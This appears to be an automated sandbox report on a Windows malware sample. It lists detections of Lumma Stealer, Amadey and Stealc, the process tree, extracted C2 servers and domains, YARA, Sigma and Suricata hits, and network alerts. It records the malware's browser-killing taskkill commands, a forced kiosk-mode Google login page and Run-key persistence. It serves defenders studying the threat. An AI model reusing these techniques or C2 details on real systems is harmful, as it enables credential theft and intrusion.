Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545302
MD5:	de54690c9f171f91b13960453ab60fd3
SHA1:	670b2988eca93c82e2639960fd638ee5d56f34d6
SHA256:	51961e496e66b300950023c9aba682a5232ade37926db00f10e58df4f46eb1cd
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6604 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DE54690C9F171F91B13960453AB60FD3)

M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe (PID: 7588 cmdline: "C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe" MD5: 6EB4B86646866EA6FA65E78F6D15E44A)

4XW8W5G3AUTSGA2M5UZH7L9.exe (PID: 7720 cmdline: "C:\Users\user~1\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe" MD5: E8532BD886B3EA7DB6B1634D2D07BE22)

skotes.exe (PID: 7892 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: E8532BD886B3EA7DB6B1634D2D07BE22)

skotes.exe (PID: 8008 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E8532BD886B3EA7DB6B1634D2D07BE22)

skotes.exe (PID: 1876 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: E8532BD886B3EA7DB6B1634D2D07BE22)

100bc97ff1.exe (PID: 6228 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe" MD5: DE54690C9F171F91B13960453AB60FD3)

76bf5a4dba.exe (PID: 4304 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe" MD5: DB6B1432E0641F3EC061401D5547D4A4)

ee3f3c2bda.exe (PID: 4100 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe" MD5: 388A4D9E5A5EC3446324F1DCFEE1F8DB)

taskkill.exe (PID: 7272 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7764 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7832 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5248 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7952 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 8020 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 812 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

test.exe (PID: 7332 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002600001\test.exe" MD5: E2F4A20BF1778DDB6396F48F6F4A9A32)

100bc97ff1.exe (PID: 5796 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe" MD5: DE54690C9F171F91B13960453AB60FD3)

firefox.exe (PID: 8056 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8076 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4084 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db3c9087-adfb-46b4-b057-3fef806f712c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df0ee6df10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7468 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=920 -parentBuildID 20230927232528 -prefsHandle 3540 -prefMapHandle 2836 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c503f6a-c2b4-4421-a458-09ae7f72f09c} 8076 "\\.\pipe\gecko-crash-server-pipe.8076" 1df2101c210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

76bf5a4dba.exe (PID: 6484 cmdline: "C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe" MD5: DB6B1432E0641F3EC061401D5547D4A4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["dilemmadu.site", "servicedny.site", "contemteny.site", "seallysl.site", "goalyfeastz.site", "opposezmny.site", "faulteyotk.site", "authorisev.site"], "Build id": "2Zo0RN--PRIVATE"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1002599001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000015.00000003.2400684236.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000002.2527848797.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2306562309.0000000000DF8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.2427332199.0000000000E61000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000003.2307921520.0000000004D50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000003.2474497787.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.1584824472.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2442576181.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2435853665.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2284222994.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.1581637414.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2270049277.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2269895043.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2270520571.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2402886405.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2400411053.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2501065889.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2473488619.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000002.2427703297.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000002.2435358358.000000000168E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.2063993916.00000000049A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000003.2501395526.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2300426734.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2418338692.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2269779163.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2283911679.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2416045693.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000003.2480184057.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2351036059.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000027.00000000.2407308051.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000002.1625041003.0000000000421000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2300881497.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.2348423588.0000000000321000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2269655803.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.1593645355.0000000000291000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.1621915731.0000000000421000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000003.2251676644.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000003.2300638023.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000027.00000000.2407233161.0000000000E61000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2283284801.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.2454084311.0000000004D60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000028.00000002.2512290004.0000000000321000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.1553486774.0000000004D30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6604	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 100bc97ff1.exe PID: 6228	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 100bc97ff1.exe PID: 6228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 100bc97ff1.exe PID: 6228	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 76bf5a4dba.exe PID: 4304	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 76bf5a4dba.exe PID: 4304	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 100bc97ff1.exe PID: 5796	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 100bc97ff1.exe PID: 5796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ee3f3c2bda.exe PID: 4100	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 53 entries

Unpacked PEs

Source	Rule	Description	Author
39.0.num.exe.e60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.4XW8W5G3AUTSGA2M5UZH7L9.exe.290000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.skotes.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
39.2.num.exe.e60000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
20.2.76bf5a4dba.exe.320000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
12.2.skotes.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
40.2.76bf5a4dba.exe.320000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
17.2.skotes.exe.420000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1876, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\100bc97ff1.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 1876, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\100bc97ff1.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6604, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe", ProcessId: 7588, ProcessName: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:13.197225+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49701	188.114.96.3	443	TCP
2024-10-30T11:45:14.391253+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-10-30T11:45:25.537802+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49749	188.114.96.3	443	TCP
2024-10-30T11:46:47.010918+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58192	188.114.96.3	443	TCP
2024-10-30T11:46:48.151059+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58194	188.114.96.3	443	TCP
2024-10-30T11:47:00.104324+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58203	188.114.96.3	443	TCP
2024-10-30T11:47:01.882902+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58206	188.114.96.3	443	TCP
2024-10-30T11:47:03.041222+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58208	188.114.96.3	443	TCP
2024-10-30T11:47:40.639863+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58247	188.114.96.3	443	TCP
2024-10-30T11:47:49.885897+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58248	188.114.96.3	443	TCP
2024-10-30T11:47:59.067930+0100	2054653	1	A Network Trojan was detected	192.168.2.7	58254	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:13.197225+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49701	188.114.96.3	443	TCP
2024-10-30T11:46:47.010918+0100	2049836	1	A Network Trojan was detected	192.168.2.7	58192	188.114.96.3	443	TCP
2024-10-30T11:47:01.882902+0100	2049836	1	A Network Trojan was detected	192.168.2.7	58206	188.114.96.3	443	TCP
2024-10-30T11:47:40.639863+0100	2049836	1	A Network Trojan was detected	192.168.2.7	58247	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:14.391253+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-10-30T11:46:48.151059+0100	2049812	1	A Network Trojan was detected	192.168.2.7	58194	188.114.96.3	443	TCP
2024-10-30T11:47:03.041222+0100	2049812	1	A Network Trojan was detected	192.168.2.7	58208	188.114.96.3	443	TCP
2024-10-30T11:47:49.885897+0100	2049812	1	A Network Trojan was detected	192.168.2.7	58248	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T11:45:12.453785+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	188.114.96.3	443	TCP
2024-10-30T11:45:13.926131+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-10-30T11:45:15.438174+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49704	188.114.96.3	443	TCP
2024-10-30T11:45:16.795481+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49705	188.114.96.3	443	TCP
2024-10-30T11:45:18.097951+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49711	188.114.96.3	443	TCP
2024-10-30T11:45:19.697149+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-30T11:45:21.816147+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49732	188.114.96.3	443	TCP
2024-10-30T11:45:25.061629+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	49749	188.114.96.3	443	TCP
2024-10-30T11:46:46.514105+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58192	188.114.96.3	443	TCP
2024-10-30T11:46:47.685319+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58194	188.114.96.3	443	TCP
2024-10-30T11:46:49.603038+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58195	188.114.96.3	443	TCP
2024-10-30T11:46:50.915432+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58196	188.114.96.3	443	TCP
2024-10-30T11:46:52.549042+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58197	188.114.96.3	443	TCP
2024-10-30T11:46:55.230244+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58199	188.114.96.3	443	TCP
2024-10-30T11:46:56.853842+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58202	188.114.96.3	443	TCP
2024-10-30T11:46:59.596471+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58203	188.114.96.3	443	TCP
2024-10-30T11:47:01.143766+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58206	188.114.96.3	443	TCP
2024-10-30T11:47:02.565529+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58208	188.114.96.3	443	TCP
2024-10-30T11:47:04.243959+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.7	58215	188.114.96.3	443	TCP
